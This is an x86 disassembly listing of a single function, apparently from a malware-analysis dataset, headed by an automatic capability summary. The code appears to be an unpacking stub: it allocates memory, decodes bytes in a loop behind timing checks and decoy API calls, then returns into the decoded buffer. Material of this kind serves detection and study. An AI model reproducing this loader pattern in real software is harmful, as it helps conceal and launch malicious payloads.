Function at 0x4012b0
Capabilities:
Check for time delay via gettickcount
Get file attributes
Get socket status
Inspect load icon resource
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
push ebx
push esi
push edi
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x30], 1
mov byte [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x3c], 0
mov byte [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0xc], 1
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x18], 0
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
movsx ecx, byte [0x40812a]
cmp ecx, 0x7b
jne 0x401361
push 0
mov edx, dword [ebp - 0x40]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x4c], 0xd17c
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp + 8], eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401140
test eax, eax
jbe 0x401539
mov edx, dword [0x41d588]
mov dword [ebp - 4], edx
movsx eax, byte [0x40d040]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 0x5c], 0
cmp dword [ebp - 4], 0
je 0x401539
mov dword [ebp - 0x58], 0x40110c
mov ecx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x2c], ecx
push 0
push 0
call dword [sym.imp.USER32.dll_WaitForInputIdle]
cmp eax, 0xa
je 0x4013eb
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, dword [ebp - 0x4c]
add edx, eax
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
sub eax, 7
mov dword [ebp - 0x4c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0x401124
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [0x41d534], 0x100
mov ecx, dword [0x41d534]
add ecx, 0x900
mov dword [0x41d534], ecx
mov edx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x5c], edx
push dword [ebp - 0x58]
mov eax, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x34], eax
call dword [ebp - 0x5c]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jbe 0x40143f
mov ebx, dword [ebp - 0x34]
call ebx
mov ebx, dword [ebp - 0x5c]
call ebx
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 2
je 0x40144f
cmp dword [ebp - 0x58], 0x7b
jne 0x401539
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x60], 0
cmp dword [ebp - 0x10], 0x1200
jge 0x40151b
mov ecx, dword [ebp - 0x50]
add ecx, 1
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x68]
add edx, 7
mov dword [ebp - 0x6c], edx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test eax, eax
jbe 0x40150d
push 0x401130
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
test eax, eax
jne 0x4014ea
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x10]
mov cl, byte [eax]
mov byte [ebp - 0x28], cl
mov dword [ebp - 0x60], 0
mov edx, dword [ebp - 0x28]
and edx, 0xff
mov dword [ebp - 0x70], edx
mov eax, 0x1f
sub eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x70]
sub ecx, eax
mov byte [ebp - 0x28], cl
mov edx, dword [ebp - 0x68]
add edx, 1
mov dword [ebp - 0x68], edx
cmp dword [ebp - 0x68], 4
jne 0x4014df
mov dword [ebp - 0x68], 0
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x10]
mov cl, byte [eax]
mov byte [ebp - 0x64], cl
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test eax, eax
jbe 0x40150d
push 0
push 0
call dword [sym.imp.USER32.dll_LoadCursorW]
test eax, eax
jne 0x40150d
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x10]
mov al, byte [ebp - 0x28]
mov byte [edx], al
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x10], ecx
jmp 0x40145d
push dword [ebp - 0x2c]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.WS2_32.dll_select]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
test eax, eax
jne 0x401551
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov dword [ebp - 0x74], 0
mov edx, dword [ebp - 4]
push edx
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push dword [ebp - 4]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 4]
ret